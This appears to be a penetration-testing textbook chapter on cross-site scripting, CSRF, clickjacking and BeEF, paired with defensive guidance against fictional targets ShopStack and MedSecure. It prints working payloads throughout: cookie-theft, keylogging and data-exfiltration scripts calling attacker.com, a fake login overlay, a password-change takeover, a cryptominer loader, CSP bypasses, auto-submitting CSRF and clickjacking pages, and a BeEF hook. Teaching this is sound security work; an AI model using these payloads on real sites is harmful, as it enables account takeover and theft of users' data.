> "Cross-site scripting is the most prevalent web application security flaw." --- OWASP
Learning Objectives
- Understand the three types of XSS and how each is exploited
- Perform cookie theft, keylogging, and phishing via XSS payloads
- Bypass Content Security Policy and WAF protections
- Exploit Cross-Site Request Forgery vulnerabilities
- Perform clickjacking and UI redressing attacks
- Use BeEF for browser exploitation in authorized tests
- Implement comprehensive client-side defenses
In This Chapter
- 20.1 XSS Fundamentals
- 20.2 XSS Exploitation
- 20.3 Advanced XSS Techniques
- 20.4 Cross-Site Request Forgery (CSRF)
- 20.5 Clickjacking and UI Redressing
- 20.6 Browser-Based Attacks and BeEF
- 20.7 XSS in ShopStack: A Complete Walkthrough
- 20.8 MedSecure Portal: Client-Side Attack Considerations
- 20.9 Automated XSS Testing Tools
- 20.10 Comprehensive Client-Side Defense Strategy
- 20.11 Summary
- Chapter 20 References
Chapter 20: Cross-Site Scripting and Client-Side Attacks
"Cross-site scripting is the most prevalent web application security flaw." --- OWASP
On October 4, 2005, a nineteen-year-old named Samy Kamkar released a worm on MySpace that would become the fastest-spreading virus in history. Within 20 hours, his MySpace profile had accumulated over one million friend requests. The worm exploited a stored cross-site scripting vulnerability in MySpace's profile pages, injecting JavaScript that would add Samy as a friend, copy itself to the victim's profile, and propagate to anyone who viewed that profile. MySpace was forced to take the entire site offline to contain the outbreak. Samy was charged with a felony, sentenced to three years of probation, community service, and was forbidden from using a computer for a period. The attack used no sophisticated exploit---just JavaScript running in the context of a trusted website.
This is the essence of cross-site scripting (XSS): the attacker makes the victim's browser execute code in the security context of a trusted web application. Unlike the injection attacks in Chapter 19 that target the server, XSS targets other users. The server is merely the delivery mechanism. When a user visits a page containing an XSS payload, their browser executes the injected JavaScript as if it were legitimate code from the trusted site. This grants the attacker access to the user's session, their personal data, and the ability to perform any action the user can perform---all without the user's knowledge.
XSS is consistently among the most reported vulnerability types in bug bounty programs. Google has paid millions of dollars for XSS findings. Facebook, Microsoft, and every major technology company have had significant XSS vulnerabilities. Despite decades of awareness and multiple layers of defense, XSS persists because the fundamental challenge---distinguishing between legitimate application JavaScript and attacker-injected JavaScript---is architecturally difficult.
This chapter covers XSS in all its forms, from basic reflected XSS to advanced mutation XSS and CSP bypass techniques. We then expand to related client-side attacks: CSRF (making the browser perform unwanted actions), clickjacking (tricking users into clicking hidden elements), and browser exploitation with BeEF. Throughout, we apply these attacks to ShopStack and provide the blue team perspective on comprehensive client-side defense.
Legal and Ethical Notice: XSS attacks target real users. Even in authorized testing, be extremely careful. Never inject persistent XSS payloads that could affect other testers or real users. Use alert boxes and console.log for proof of concept, not data exfiltration, unless explicitly authorized. Your home lab (DVWA, Juice Shop) is the safe environment for practicing exploitation techniques.
20.1 XSS Fundamentals
20.1.1 The Same-Origin Policy
Before understanding XSS, you must understand the defense it bypasses: the Same-Origin Policy (SOP).
The SOP is the browser's fundamental security mechanism. It restricts how documents and scripts from one origin can interact with resources from another origin. An origin is defined by the combination of protocol, host, and port:
| URL | Origin | Same Origin as shopstack.example.com? |
|---|---|---|
https://shopstack.example.com/products |
https://shopstack.example.com:443 |
Yes |
https://shopstack.example.com/api/users |
https://shopstack.example.com:443 |
Yes |
http://shopstack.example.com/products |
http://shopstack.example.com:80 |
No (different protocol) |
https://api.shopstack.example.com/users |
https://api.shopstack.example.com:443 |
No (different host) |
https://shopstack.example.com:8443/admin |
https://shopstack.example.com:8443 |
No (different port) |
The SOP prevents JavaScript on evil.com from reading data from shopstack.example.com. But if an attacker can inject JavaScript that runs in the context of shopstack.example.com, the SOP is irrelevant---the malicious code is now same-origin with the target.
20.1.2 The Three Types of XSS
Reflected XSS (Type 1)
The injected script is part of the request and reflected back in the response. The payload is not stored; it exists only in the crafted URL.
# Vulnerable endpoint
GET /api/v2/products?search=<script>alert('XSS')</script>
# Server reflects input in response without encoding
HTTP/1.1 200 OK
Content-Type: text/html
...
<p>Search results for: <script>alert('XSS')</script></p>
The attacker sends a crafted link to the victim. When the victim clicks it, their browser executes the script in the context of shopstack.example.com.
Stored XSS (Type 2)
The injected script is permanently stored on the target server (database, file, message forum). Every user who views the stored content executes the payload.
# Attacker submits a product review
POST /api/v2/products/42/reviews
{"title": "Great product!", "body": "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"}
# When any user views the product page, the script executes
GET /api/v2/products/42
# Response includes the review body, unencoded
Stored XSS is more dangerous than reflected XSS because: - No user interaction with a crafted link required - Every visitor to the affected page is compromised - The payload persists until removed
DOM-Based XSS (Type 0)
The vulnerability exists entirely in client-side JavaScript. The server never sees the payload.
// VULNERABLE: ShopStack's search page reads URL fragment
// URL: https://shopstack.example.com/search#<img src=x onerror=alert(1)>
const searchTerm = location.hash.substring(1);
document.getElementById('search-results').innerHTML =
'Showing results for: ' + searchTerm;
The payload (<img src=x onerror=alert(1)>) is in the URL fragment (#), which is never sent to the server. The client-side JavaScript reads it from location.hash and writes it to the DOM using innerHTML, which parses it as HTML.
Sources and Sinks in DOM XSS:
| Sources (User-Controlled Input) | Sinks (Dangerous Functions) |
|---|---|
location.hash |
innerHTML |
location.search |
outerHTML |
location.href |
document.write() |
document.referrer |
eval() |
window.name |
setTimeout(string) |
postMessage data |
setInterval(string) |
localStorage/sessionStorage |
Function(string) |
document.cookie |
element.src |
20.1.3 Finding XSS Vulnerabilities
Manual Testing Methodology:
Step 1: Identify Input Points
Catalog every place user input is reflected or stored: - URL parameters (query string, path, fragment) - Form fields (text inputs, textareas, hidden fields) - HTTP headers (User-Agent, Referer, custom headers) - Cookie values - File upload names - API request bodies
Step 2: Inject Probes
Start with a unique string to track reflection:
shopstack123test
Search the response for this string. Note the context it appears in:
- HTML body: <p>Results for: shopstack123test</p>
- HTML attribute: <input value="shopstack123test">
- JavaScript string: var search = "shopstack123test";
- URL/href: <a href="/search?q=shopstack123test">
Step 3: Context-Aware Payload Selection
The payload depends on where the input is reflected:
| Context | Example | Payload |
|---|---|---|
| HTML body | <p>INPUT</p> |
<script>alert(1)</script> |
| HTML attribute (unquoted) | <input value=INPUT> |
onmouseover=alert(1) |
| HTML attribute (quoted) | <input value="INPUT"> |
"><script>alert(1)</script> |
| JavaScript string | var x = "INPUT"; |
";alert(1);// |
| URL/href attribute | <a href="INPUT"> |
javascript:alert(1) |
| CSS value | background: url(INPUT) |
);}</style><script>alert(1)</script> |
Step 4: Bypass Filters
If basic payloads are blocked, use encoding and alternative syntax:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Event handlers (no script tags needed) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<!-- Without parentheses -->
<img src=x onerror=alert`1`>
<svg onload=alert(1)>
<!-- Without alert -->
<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>
<img src=x onerror=console.log(document.cookie)>
<!-- HTML encoding -->
<img src=x onerror=alert(1)>
<!-- JavaScript encoding -->
<script>\u0061lert(1)</script>
<!-- URL encoding in href -->
<a href="javascript:%61lert(1)">click</a>
<!-- Using eval -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
20.2 XSS Exploitation
Finding XSS is only the beginning. The impact depends on what the attacker does with code execution in the victim's browser.
20.2.1 Session Hijacking (Cookie Theft)
The most classic XSS exploitation: steal the user's session cookie and impersonate them.
// Basic cookie theft
<script>
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>
// More stealthy: use fetch API
<script>
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: location.href,
localStorage: JSON.stringify(localStorage)
})
});
</script>
Attacker's Collection Server:
from flask import Flask, request
app = Flask(__name__)
@app.route('/log', methods=['POST'])
def log():
with open('stolen.txt', 'a') as f:
f.write(f"{request.remote_addr}: {request.get_data()}\n")
return '', 204
@app.route('/steal')
def steal():
with open('stolen.txt', 'a') as f:
f.write(f"{request.remote_addr}: {request.args.get('c')}\n")
return '', 204
Blue Team Defense: The
HttpOnlycookie flag prevents JavaScript from accessing cookies viadocument.cookie. This is the single most important defense against cookie theft via XSS. Every session cookie should beHttpOnly.
20.2.2 Keylogging
Capture everything the user types on the compromised page:
<script>
var keys = '';
document.addEventListener('keypress', function(e) {
keys += e.key;
if (keys.length > 50) {
new Image().src = 'https://attacker.com/keys?data=' +
encodeURIComponent(keys);
keys = '';
}
});
</script>
This payload captures keystrokes and exfiltrates them in batches of 50 characters. On a login page, this captures credentials before they are even submitted.
20.2.3 Phishing via XSS
Replace the page content with a fake login form:
<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;font-family:Arial">
<h2>Session Expired</h2>
<p>Please log in again to continue.</p>
<form action="https://attacker.com/phish" method="POST">
<input name="email" placeholder="Email" style="width:100%;padding:10px;margin:5px 0">
<input name="password" type="password" placeholder="Password" style="width:100%;padding:10px;margin:5px 0">
<button type="submit" style="width:100%;padding:10px;background:#007bff;color:white;border:none">Log In</button>
</form>
</div>
`;
</script>
This is devastatingly effective because: - The URL bar still shows the legitimate domain - The SSL lock icon is still present - The user has no reason to suspect phishing
20.2.4 Account Takeover via Password Change
If the application has a password change feature, XSS can silently change the victim's password:
<script>
// Get the anti-CSRF token from the page
fetch('/account/settings')
.then(r => r.text())
.then(html => {
const token = html.match(/csrf_token.*?value="([^"]+)"/)[1];
// Change the password
return fetch('/account/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `csrf_token=${token}&new_password=hacked123&confirm_password=hacked123`
});
});
</script>
20.2.5 Cryptocurrency Mining
Injecting cryptocurrency mining scripts to use visitors' CPU power:
<script src="https://attacker.com/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>
While CoinHive itself has shut down, similar services exist. This represents a real-world monetization strategy for stored XSS.
20.2.6 Data Exfiltration
Silently extract all visible data from the application:
<script>
// Exfiltrate user profile data
fetch('/api/v2/users/me')
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
});
// Exfiltrate order history
fetch('/api/v2/orders')
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
In the context of ShopStack, this could expose customer personal information, order history, payment details, and shipping addresses. For MedSecure, it could expose patient health records---a HIPAA violation with severe consequences.
20.3 Advanced XSS Techniques
20.3.1 Content Security Policy (CSP) Bypass
CSP is the strongest browser-side defense against XSS. It restricts which scripts can execute. Bypassing CSP is a key skill for advanced XSS testing.
Common CSP Configurations and Bypasses:
1. unsafe-inline Enabled:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
This CSP is effectively useless against XSS. Any inline script will execute:
<script>alert(1)</script>
2. Nonce-Based CSP:
Content-Security-Policy: script-src 'nonce-abc123'
Scripts must include the correct nonce: <script nonce="abc123">. Bypass if:
- The nonce is predictable or static
- The nonce is reflected in the page (XSS can read and reuse it)
- A base tag injection redirects script loading
3. strict-dynamic with Nonce:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'
Any script loaded by a nonced script is also trusted. Bypass: if you can inject into a nonced script, dynamically created scripts will execute.
4. Allowlisted CDN/Domain:
Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net
If a CDN is allowlisted, load any JavaScript file hosted there:
<script src="https://cdn.jsdelivr.net/npm/malicious-package"></script>
Or use JSONP endpoints on allowlisted domains:
<script src="https://allowlisted.com/jsonp?callback=alert(1)//"></script>
5. CSP with base-uri Missing:
<!-- Inject a base tag to redirect relative script paths -->
<base href="https://attacker.com/">
<!-- Now <script src="/app.js"> loads from attacker.com -->
6. CSP Bypass via script-src with data: Scheme:
Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>
20.3.2 Mutation XSS (mXSS)
Mutation XSS exploits differences between how browsers parse HTML during different operations. A string that is safe when parsed normally may become dangerous when processed through innerHTML, DOMParser, or sanitization libraries.
Classic mXSS Example:
<!-- This looks safe after sanitization -->
<p id="test"><img src=x onerror=alert(1)></p>
<!-- But when read back via innerHTML and re-inserted... -->
<script>
var content = document.getElementById('test').innerHTML;
// content may be decoded to: <img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = content;
// Now the img tag executes!
</script>
SVG/MathML Mutation: Browsers apply different parsing rules inside SVG and MathML contexts:
<svg><style><![CDATA[</style><img src=x onerror=alert(1)>]]></style></svg>
Different browsers handle the CDATA section differently, and some may execute the onerror handler.
20.3.3 XSS Polyglots
A polyglot is a single string that works as XSS in multiple contexts simultaneously:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0telerik%0telerik%0telerik%0telerik%0telerik/telerik*/alert()//
The most famous polyglot, by @garethheyes:
'">><marquee><img src=x onerror=alert(1)>//
This works when injected into: - HTML body context - Single-quoted HTML attribute - Double-quoted HTML attribute - JavaScript string (some contexts)
Polyglots are useful for automated scanning when you need a single payload to test multiple contexts.
20.3.4 XSS in Uncommon Contexts
XSS via SVG Upload:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script>alert(document.domain)</script>
</svg>
If ShopStack allows SVG file uploads for product images and serves them with Content-Type: image/svg+xml, this JavaScript will execute when the SVG is viewed.
XSS via PDF Upload: PDF files can contain JavaScript:
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >> >>
endobj
XSS via Markdown: If the application renders user-supplied Markdown:
[Click me](javascript:alert(1))
")
XSS via JSON Response: If a JSON API response is rendered directly in the browser:
GET /api/v2/products?callback=<script>alert(1)</script>
20.3.5 Blind XSS
Blind XSS occurs when the payload is stored and executed in a different part of the application---often an admin panel or back-office tool that the tester cannot directly access.
Scenario: An attacker submits a support ticket with an XSS payload. The payload is stored in the database and rendered when an admin opens the ticket in the admin panel.
Testing with XSS Hunter or Custom Callback:
// Payload that phones home when executed
<script>
var img = new Image();
img.src = "https://your-xss-hunter.example.com/probe?data=" +
encodeURIComponent(document.cookie + "|" + document.location + "|" + document.body.innerHTML.substring(0, 1000));
</script>
Blind XSS testing targets: - Contact forms / support tickets - User-Agent header (logged and displayed in admin) - Feedback forms - Error reporting fields - User profile fields viewed by other users/admins
20.4 Cross-Site Request Forgery (CSRF)
20.4.1 Understanding CSRF
CSRF exploits the browser's automatic inclusion of credentials (cookies) with requests to a site. If a user is logged into ShopStack and visits a malicious page, that page can make requests to ShopStack that include the user's session cookie.
The Attack Flow:
- Victim is logged into ShopStack (has valid session cookie)
- Victim visits
evil.com(or clicks a malicious link) evil.comcontains a form or script that submits a request to ShopStack- The browser automatically includes ShopStack's session cookie
- ShopStack processes the request as if the victim initiated it
20.4.2 CSRF Attack Examples
Form-Based CSRF (Auto-Submitting):
<!-- evil.com serves this page -->
<html>
<body>
<h1>You've won a prize! Click below to claim.</h1>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" method="POST"
action="https://shopstack.example.com/api/v2/users/me"
target="csrf-frame">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="shipping_address" value="123 Evil St">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
This silently changes the victim's email and shipping address on ShopStack.
Image-Based CSRF (GET Requests):
<!-- Changes a user's email via GET request (bad API design) -->
<img src="https://shopstack.example.com/api/v2/users/me?email=attacker@evil.com"
style="display:none">
JSON-Based CSRF:
Modern APIs accept JSON, which complicates CSRF because browsers set Content-Type: text/plain for cross-origin form submissions. However:
<!-- Using fetch with no-cors mode -->
<script>
fetch('https://shopstack.example.com/api/v2/users/me', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
</script>
If the server accepts text/plain as Content-Type (or does not check), this works.
20.4.3 CSRF Token Bypass Techniques
Token in Cookie (Double Submit Cookie): If the CSRF token is also in a cookie, and you can set cookies (via XSS or cookie injection):
Set-Cookie: csrf=attacker_token; Domain=shopstack.example.com
Then submit a form with csrf=attacker_token in the body.
Token Validation Flaws: - Token not validated at all (remove the parameter) - Token validated only if present (remove the parameter entirely) - Token not tied to session (use any valid token from any session) - Token reused across sessions (token never rotates)
Method Override: If CSRF protection only applies to POST, try:
GET /api/v2/users/me?email=attacker@evil.com&_method=POST
Or change the method:
PUT /api/v2/users/me HTTP/1.1
20.4.4 Defending Against CSRF
Synchronizer Token Pattern:
// Server generates a unique token per session
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
res.locals.csrfToken = req.session.csrfToken;
next();
});
// Validate token on state-changing requests
app.post('/api/v2/users/me', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
// ... process request
});
SameSite Cookie Attribute:
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
SameSite=Strict: Cookie never sent on cross-origin requestsSameSite=Lax: Cookie sent on top-level navigations (GET) but not embedded requests (POST/iframe)- Modern browsers default to
Laxif SameSite is not specified
Custom Headers: Require a custom header on all API requests:
// Client-side
fetch('/api/v2/users/me', {
headers: { 'X-Requested-With': 'XMLHttpRequest' }
});
// Server-side
if (!req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing custom header' });
}
Cross-origin requests cannot set custom headers without CORS preflight, which the server can deny.
Blue Team Perspective: Defense against CSRF should be multi-layered: SameSite cookies as the primary defense, CSRF tokens as the secondary defense, and custom header validation for API endpoints. None is sufficient alone due to edge cases and browser compatibility.
20.5 Clickjacking and UI Redressing
20.5.1 Understanding Clickjacking
Clickjacking tricks users into clicking on something different from what they perceive. The attacker loads the target site in a transparent iframe positioned over a decoy page.
Basic Clickjacking Attack:
<!-- evil.com -->
<html>
<head>
<style>
#decoy {
position: absolute;
width: 500px;
height: 300px;
z-index: 1;
}
#target-iframe {
position: absolute;
width: 500px;
height: 300px;
opacity: 0.0001; /* Nearly invisible */
z-index: 2; /* On top of decoy */
}
/* Position the iframe so the target button aligns with the decoy button */
#target-iframe {
top: -200px;
left: -150px;
}
</style>
</head>
<body>
<div id="decoy">
<h1>Congratulations! You won a free iPhone!</h1>
<button style="position:absolute; top:250px; left:200px; padding:20px;
font-size:20px; background:green; color:white;">
Claim Prize
</button>
</div>
<iframe id="target-iframe"
src="https://shopstack.example.com/account/delete"
sandbox="allow-forms allow-scripts allow-same-origin">
</iframe>
</body>
</html>
The user sees "Claim Prize" but actually clicks the "Delete Account" button on ShopStack.
20.5.2 Advanced Clickjacking: Likejacking and Cursorjacking
Likejacking: Invisible Facebook Like button layered over a decoy:
<iframe src="https://www.facebook.com/plugins/like.php?href=https://evil.com/page"
style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;">
</iframe>
Cursorjacking: Move the visible cursor away from the actual cursor position using CSS:
body { cursor: none; }
#fake-cursor {
position: fixed;
pointer-events: none;
/* Position 200px offset from real cursor */
}
Drag-and-Drop Clickjacking: Use HTML5 drag-and-drop to extract data from the target iframe:
document.addEventListener('drag', function(e) {
// User thinks they're dragging a prize icon
// Actually dragging data from target iframe
});
20.5.3 Defending Against Clickjacking
X-Frame-Options Header:
X-Frame-Options: DENY # Never allow framing
X-Frame-Options: SAMEORIGIN # Allow framing by same origin only
CSP frame-ancestors Directive (Modern):
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors https://trusted.example.com
frame-ancestors supersedes X-Frame-Options and provides more granular control.
JavaScript Frame-Busting (Deprecated but Supplementary):
// Classic frame-busting (can be bypassed)
if (window.top !== window.self) {
window.top.location = window.self.location;
}
This can be bypassed with:
<iframe src="target.com" sandbox="allow-forms"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
20.6 Browser-Based Attacks and BeEF
20.6.1 The Browser Exploitation Framework (BeEF)
BeEF (Browser Exploitation Framework) turns an XSS vulnerability into a full-featured browser exploitation platform. When a victim's browser loads the BeEF hook script, the attacker gains persistent control.
Architecture:
[Attacker] --> [BeEF Server (Kali)] --> [Hook Script (JS)]
|
[Victim's Browser]
- Execute commands
- Steal data
- Social engineering
- Network scanning
- Exploit browser vulnerabilities
Setup:
# Start BeEF (included in Kali Linux)
sudo beef-xss
# Access admin panel
# https://127.0.0.1:3000/ui/panel
# Default credentials: beef/beef
The Hook:
<script src="https://attacker-kali:3000/hook.js"></script>
Insert this via any XSS vulnerability. Once the victim loads it, their browser appears in BeEF's control panel.
20.6.2 BeEF Capabilities
Information Gathering: - Browser type, version, and plugins - Operating system - Screen resolution - Internal IP address (via WebRTC) - Installed software (via timing attacks) - Geolocation (if permitted)
Social Engineering: - Fake login prompts (identical to real site) - Fake software update notifications - Clipboard hijacking (replace copied content) - Tab nabbing (change inactive tab content)
Network Attacks: - Internal network scanning via JavaScript - Port scanning behind the firewall - DNS rebinding attacks - Cross-origin data theft (via CORS misconfig)
Browser Exploitation: - Exploit known browser vulnerabilities - Launch Java/Flash exploits (legacy) - Inject keyloggers - Redirect to exploit kits
20.6.3 Practical BeEF Workflow
- Find XSS in target (e.g., stored XSS in ShopStack product reviews)
- Inject BeEF hook:
<script src="http://attacker:3000/hook.js"></script> - Wait for admin/user to view the page
- In BeEF panel, select the hooked browser
- Run modules: - "Get Cookie" to steal session - "Get Internal IP" for network recon - "Fake Notification Bar" for social engineering - "Port Scanner" to map internal network
- Combine with other exploits for lateral movement
Blue Team Perspective: Detecting BeEF hooks requires monitoring for: - Outbound connections to unknown domains from browser processes - Suspicious JavaScript beacon patterns (regular polling) - CSP violations indicating unauthorized script loading - Network scanning patterns originating from internal workstations
20.7 XSS in ShopStack: A Complete Walkthrough
Let us apply XSS testing systematically to ShopStack.
20.7.1 Reconnaissance
Identified Input Points:
1. Product search (/api/v2/products?search=)
2. Product reviews (stored, rendered on product pages)
3. User profile display name
4. Support ticket submissions
5. URL redirect parameter (/redirect?url=)
20.7.2 Testing Product Search (Reflected XSS)
Probe:
GET /api/v2/products?search=test123xss
Response (React SPA renders this client-side):
// React component
function SearchResults({ query }) {
return <h2>Results for: {query}</h2>;
}
React's JSX automatically escapes values, so {query} is safe. However, check if any part of the application uses dangerouslySetInnerHTML:
// VULNERABLE: If ShopStack uses dangerouslySetInnerHTML for rich search highlights
function SearchResults({ query, results }) {
const highlighted = results.map(r => ({
...r,
name: r.name.replace(query, `<mark>${query}</mark>`)
}));
return highlighted.map(r =>
<div dangerouslySetInnerHTML={{ __html: r.name }} />
);
}
Attack:
GET /products?search=<img src=x onerror=alert(document.domain)>
If the search term is embedded in the highlight without sanitization, the <img> tag executes.
20.7.3 Testing Product Reviews (Stored XSS)
Probe:
POST /api/v2/products/42/reviews
{
"title": "test123stored",
"body": "test456stored<b>bold</b>",
"rating": 5
}
Check how the review is rendered. If HTML tags in the body are rendered (the <b> makes text bold), stored XSS may be possible.
Attack:
POST /api/v2/products/42/reviews
{
"title": "Great product!",
"body": "I love this! <img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>",
"rating": 5
}
Every user who views the product page now has their cookies sent to the attacker.
20.7.4 Testing User Profile (Stored XSS)
Probe:
PUT /api/v2/users/me
{"display_name": "test<b>bold</b>user"}
If the display name is rendered as HTML on order confirmations, product reviews, or admin panels, stored XSS is possible.
20.7.5 Testing URL Redirect (DOM-Based XSS)
GET /redirect?url=javascript:alert(document.domain)
If the application redirects without validating the URL scheme:
// VULNERABLE
window.location = new URLSearchParams(location.search).get('url');
20.8 MedSecure Portal: Client-Side Attack Considerations
The MedSecure patient portal presents unique client-side risks:
Stored XSS in Patient Notes: If medical staff can enter patient notes with HTML formatting, and these notes are rendered for other staff, stored XSS could propagate across the entire clinical team.
Impact: An XSS payload in patient notes could: - Steal session tokens for all medical staff who view the note - Access other patients' records through the compromised sessions - Modify treatment plans or medication records - Exfiltrate Protected Health Information at scale
CSRF in Medical Orders: If the "approve medication order" or "sign off on lab results" functions lack CSRF protection, an attacker could force a doctor's browser to approve unauthorized orders.
Testing Considerations: - Never inject persistent XSS payloads in a production healthcare system - Use only non-destructive probes (console.log, unique string reflection) - Report immediately---healthcare XSS is a patient safety issue
20.9 Automated XSS Testing Tools
20.9.1 XSStrike
XSStrike is an advanced XSS detection tool that uses fuzzing, context analysis, and WAF bypass techniques:
# Basic scan
python3 xsstrike.py -u "https://shopstack.example.com/search?q=test"
# With POST data
python3 xsstrike.py -u "https://shopstack.example.com/api/v2/reviews" \
--data "title=test&body=test" --method POST
# Crawl and scan
python3 xsstrike.py -u "https://shopstack.example.com" --crawl -l 3
20.9.2 Burp Suite Scanner
Burp Professional's scanner automatically tests for reflected and stored XSS:
- Run an active scan on the target
- Review findings under "Issues"
- Validate each finding manually in Repeater
- Document confirmed vulnerabilities
20.9.3 Dalfox
Dalfox is a fast XSS scanning tool with parameter analysis:
# Scan URL with parameters
dalfox url "https://shopstack.example.com/search?q=test"
# Pipe from parameter discovery
cat params.txt | dalfox pipe
# With custom headers
dalfox url "https://shopstack.example.com/search?q=test" \
-H "Cookie: session=abc123"
20.10 Comprehensive Client-Side Defense Strategy
Blue Team Perspective: Defending against XSS and client-side attacks requires a defense-in-depth approach spanning multiple layers.
Layer 1: Input Validation (Server Side)
- Validate all input on the server, even if validated on the client
- Allowlist acceptable characters and patterns
- Reject or sanitize HTML in user input
Layer 2: Output Encoding (Context-Aware)
- HTML-encode data inserted into HTML body
- JavaScript-encode data inserted into JavaScript
- URL-encode data inserted into URLs
- CSS-encode data inserted into styles
- Use framework auto-encoding (React JSX, Angular templates)
Layer 3: Content Security Policy
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https://cdn.shopstack.com;
connect-src 'self' https://api.shopstack.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /api/csp-report;
Layer 4: Cookie Security
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
Layer 5: Frame Protection
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Layer 6: CSRF Protection
- SameSite cookies on all session cookies
- CSRF tokens on all state-changing forms
- Custom header requirement on API requests
- Verify Origin/Referer headers
Layer 7: HTML Sanitization (for Rich Content)
// Use DOMPurify for sanitizing user-supplied HTML
const DOMPurify = require('dompurify');
const cleanHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'u', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: []
});
Layer 8: Subresource Integrity (SRI)
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
ShopStack Secure Implementation:
const helmet = require('helmet');
const crypto = require('crypto');
const DOMPurify = require('isomorphic-dompurify');
// Generate nonce per request
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
next();
});
// Helmet for security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
imgSrc: ["'self'", "data:", "https://cdn.shopstack.com"],
connectSrc: ["'self'", "https://api.shopstack.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
},
frameguard: { action: 'deny' }
}));
// Sanitize user-generated HTML content
app.post('/api/v2/products/:id/reviews', (req, res) => {
const cleanBody = DOMPurify.sanitize(req.body.body, {
ALLOWED_TAGS: ['b', 'i', 'u', 'p', 'br'],
ALLOWED_ATTR: []
});
// Store cleanBody in database
});
20.11 Summary
Cross-site scripting and client-side attacks represent a fundamentally different threat model from server-side injection. Instead of targeting the server directly, these attacks weaponize the browser---turning the victim's own client into the attack platform.
Key Takeaways:
- XSS exists in three forms: Reflected (in the response), Stored (in the database), and DOM-based (in client-side code). Each requires different testing and defense approaches.
- XSS impact extends far beyond
alert(1): Session hijacking, keylogging, phishing, account takeover, data exfiltration, and cryptocurrency mining are all achievable through XSS. - CSP is the strongest defense but must be configured correctly.
unsafe-inlinenegates its value. Nonce-based or hash-based CSP provides real protection. - CSRF tricks the browser into making authenticated requests on behalf of the victim. SameSite cookies are the modern primary defense, supplemented by CSRF tokens.
- Clickjacking overlays the target in an invisible iframe. Frame-ancestors CSP directive and X-Frame-Options are the defenses.
- BeEF demonstrates that XSS is not just about stealing cookies---it is a platform for persistent browser control, social engineering, and network reconnaissance.
- Defense is layered: Input validation, output encoding, CSP, cookie flags, frame protection, CSRF tokens, and HTML sanitization must all work together.
The attacks in this chapter and the previous one form the core of web application penetration testing. Together, injection and XSS account for the majority of web application vulnerabilities found in the field. In subsequent chapters, we will explore additional web attack categories including authentication attacks, file upload vulnerabilities, and API-specific security testing.
Chapter 20 References
- Kamkar, S. "The MySpace Worm (Samy)." https://samy.pl/myspace/
- OWASP Foundation. "Cross-Site Scripting (XSS)." https://owasp.org/www-community/attacks/xss/
- PortSwigger. "Cross-Site Scripting (XSS) Cheat Sheet." https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- OWASP Foundation. "Cross-Site Request Forgery (CSRF)." https://owasp.org/www-community/attacks/csrf
- Heyes, G. "XSS Without Parentheses and Semi-Colons." PortSwigger Research, 2019.
- Mozilla Developer Network. "Same-Origin Policy." https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
